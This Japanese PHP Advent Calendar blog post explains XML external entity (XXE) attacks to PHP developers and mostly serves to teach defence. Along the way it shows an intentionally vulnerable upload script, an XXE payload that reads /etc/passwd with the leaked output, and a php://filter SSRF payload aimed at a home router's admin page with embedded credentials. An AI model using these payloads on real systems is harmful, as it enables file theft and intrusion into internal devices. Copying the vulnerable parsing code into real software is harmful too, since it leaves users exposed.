2017年12月25日月曜日

PHPプログラマのためのXXE入門

この日記はPHP Advent Calendar 2017の25日目です。前回は@watanabejunyaさんの「PHPでニューラルネットワークを実装してみる」でした。

OWASP Top 10 2017が発表され、ウェブのセキュリティ業界がざわついています。というのも、2013年版までは入っていたCSRFが外され、以下の2つの脅威が選入されたからです。
  • A4 XML外部実体参照(XXE)
  • A8 安全でないデシリアライゼーション
これらのうち、「A8 安全でないデシリアライゼーション」については、過去に「安全でないデシリアライゼーション(Insecure Deserialization)入門」という記事を書いていますので、そちらを参照ください。
本稿では、XML外部実体参照(以下、XXEと表記)について説明します。

XXEとは

XXEは、XMLデータを外部から受け取り解析する際に生じる脆弱性です。具体的には、XMLの外部実体参照により起こります。
ここで、XMLの実体(entity)は以下のように宣言するものです。例はWikipediaから拝借しました。

<!DOCTYPE foo [
<!ENTITY greeting "こんにちは">
<!ENTITY external-file SYSTEM "external.xml">
]>
このようにして宣言した実体は、XML文書内で、&greeting; &external-file; という形(実体参照)で参照します。
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE foo [
<!ENTITY greeting "こんにちは">
<!ENTITY external-file SYSTEM "external.xml">
]>
<foo>
 <hello>&greeting;</hello>
 <ext>&external-file;</ext>
</foo>
上記で、external.xmlの中身が、「Hello World」だとすると、上記のXMLの実体参照は以下のように展開されます。
<foo>
 <hello>こんにちは</hello>
 <ext>Hello World</ext>
</foo>
ということは、XMLを受け付けるプログラムに外部実体宣言を含むXMLを食わせれば、ウェブサーバー内の任意のファイルを読み込み表示するという、あたかもディレクトリトラバーサルのような攻撃ができることになります。これがXXEの基本形です。

サンプルプログラム

ここでXXE脆弱なサンプルを紹介します。年賀状の季節ですので、住所録を想定して、XML形式ファイルで個人情報をアップロードして登録するプログラムを用います。PHPではJavaに比べてXXEを発現する条件が厳しいので、一番ありそうなケースの一例として、パッチのまったく当たっていないDebian 7 (wheezy) で実行しています。

まずはXMLファイルをアップロードするHTML。
<form action="xxe.php" method="post" enctype="multipart/form-data">
  <input type="file" name="user" />
  <input type="submit"/>
</form>
XMLを受け取り登録する(実際には登録内容を表示するだけ)のプログラム。
<?php
$doc = new DOMDocument();
$doc->load($_FILES['user']['tmp_name']);
$name = $doc->getElementsByTagName('name')->item(0)->textContent;
$addr = $doc->getElementsByTagName('address')->item(0)->textContent;
?>
<body>
以下の内容で登録しました<br>
氏名: <?php echo htmlspecialchars($name); ?><br>
住所: <?php echo htmlspecialchars($addr); ?><br>
</body>
正常系のデータ例
<?xml version="1.0" encoding="utf-8" ?>
<user>
  <name>徳丸浩</name>
  <address>東京都港区麻布十番</address>
</user>
この場合の表示
<body>
以下の内容で登録しました<br>
氏名: 徳丸浩<br>
住所: 東京都港区麻布十番<br>
</body>
ここで攻撃例として、以下のXMLファイルをアップロードします。
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE foo [
<!ENTITY pass SYSTEM "/etc/passwd">
]>
<user>
  <name>徳丸浩</name>
  <address>&pass;</address>
</user>
表示は以下となります。
<body>
以下の内容で登録しました<br>
氏名: 徳丸浩<br>
住所: root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
【以下略】
/etc/passwdの内容が表示されていることが分かります。

XXEの発現する条件

ところで、なぜこのデモにDebian 7を用いたかというと、Debian 7で提供されているlibxml2のバージョンが2.8.0というXXE対策のされていないバージョンだからです。libxml2の2.9.0以降は、外部実体をデフォルトでは読み込まないようにするという制限が加わり、上記の脆弱性デモは成功しなくなります。Debian7でもlibxml2に最新のパッチが当たっている環境では大丈夫です。
Debianに限らず、CentOS(6以上)、Ubuntu(12.04以降)でも全てのパッチが当たっていれば大丈夫です。つまりPHPでは、XXEは基本的に「プラットフォームの問題」といえます。

新しいlibxml2でもXXE脆弱にする方法

では、libxml2が2.9以降なら絶対安全かというと、アプリケーションレベルで外部実体を読み込む設定にしていれば、当然脆弱になります。上記のスクリプトだと、以下の追加によりそれは可能です。
$doc = new DOMDocument();
$doc->substituteEntities = true;          // この行を追加
$doc->load($_FILES['user']['tmp_name']);

その他の攻撃

先程の攻撃スクリプトでは、ウェブサーバー上のファイルを読み出す攻撃を紹介しました。これ以外にhttp:等のURLを指定して、別サーバーの情報を読み出すという攻撃ができます。この攻撃は一般にSSRF(Server Side Request Forgery)と呼ばれ、外部から直接アクセスできないサーバー・機器への攻撃用の踏み台として用いることが可能です。

攻撃シナリオとして、ある人が自宅のPCを外部にウェブ公開している場合に、そのサイト経由で自宅リモートルータに侵入する実験をしてみます。
この場合、外部実体宣言として以下のようにすればよいわけですが…
<!ENTITY router SYSTEM "http://192.168.0.1">
実際の攻撃では、以下の2点の課題があります。
  • ルーターの認証を突破する必要がある
  • 外部実体が展開された結果が正しいXMLになっている必要がある
この2点を解決する方法ですが、まず認証の突破は、ルーターのパスワードがわかっていれば(あるいは辞書攻撃により)、URLに埋め込む形で以下のように指定することができます。ユーザ名: admin、パスワード: PASSWORDを例として想定しています。
http://admin:PASSWORD@192.168.0.1/
次に、XML形式としての妥当性ですが、PHPでXXE攻撃する場合、以下のようにPHPフィルタを用いてBASE64エンコードするという技が知られています。
<!ENTITY pass SYSTEM 
"php://filter/read=convert.base64-encode/resource=http://admin:PASSWORD@192.168.0.1/">
これを用いて、自宅のAtermを攻撃してみました。詳細は省略しますが、上記手法により、無線LANの事前共有鍵を盗むことができました。ウェブサーバーを踏み台として、外部からは直接アクセスできないルーターの管理画面にアクセスができたことになります。
この種の攻撃を防止するには、XXE脆弱性の排除は当然として、ルーターのパスワードを強固にする事が重要です。これは、DNSリバインディング攻撃にも有効な対策です。

対策

PHPの場合XXE対策は、既に述べたように、libxml2をバージョン2.9以降にするか、対策パッチを適用することです。Linux上にウェブサーバーを設置している場合は、最新のパッチがあたっていることを確認して下さい。
加えて、アプリケーション側で明示的に外部実体の読み込みを許可していない必要があります。

今まで説明していない対策として、以下の関数呼び出しによる方法があります。
libxml_disable_entity_loader(true);
これですと、libxml2のバージョンやアプリケーションの他の設定に関わらず、常に外部実体の読み込みが禁止されます。単独で安全な設定になるので推奨したいところですが、強力過ぎて副作用もあります。この設定にすると、サンプルスクリプトの $doc->load() メソッドの呼び出しもエラーになってしまうのです。つまり正常系が動かなくなるケースがあります。

これに対応するには、loadメソッドを避け、別の方法でXMLファイルを読み込んでから、その文字列をloadXMLメソッドで解析します。下記の例では、file_get_contentsで読み込んだXMLファイルをloadXMLメソッドで解析しています。
libxml_disable_entity_loader(true);
$doc = new DOMDocument();
$xmlstr = file_get_contents($_FILES['user']['tmp_name']);
$r = $doc->loadXML($xmlstr);

まとめ

PHPにおけるXXE脆弱性について説明しました。
PHPの場合、libxml2を最新にするだけで防げるので、XXEがOWASP Top 10に選入されたと知って「なぜ今時?」と思いましたが、Javaの場合はデフォルトでXXEが有効になるので、PHPはたまたま安全なケースが多いということなのでしょう。ただし、仮にXXE脆弱な場合、PHPは攻撃のバリエーションが増え、危険度が増加する可能性があります。
ウェブサイト運営という観点からは、libxml2を最新の状態にするという対策で通常は問題ないかと思います。一般に公開するソフトウェアを開発する場合は、libxml2が古い環境を想定して、以下のいずれかによる対策をお勧めします。
  • libxml_disable_entity_loader(true); を呼んでおく
  • libxml2 2.9以降必須という条件をドキュメントに明記する

0 件のコメント:

コメントを投稿

フォロワー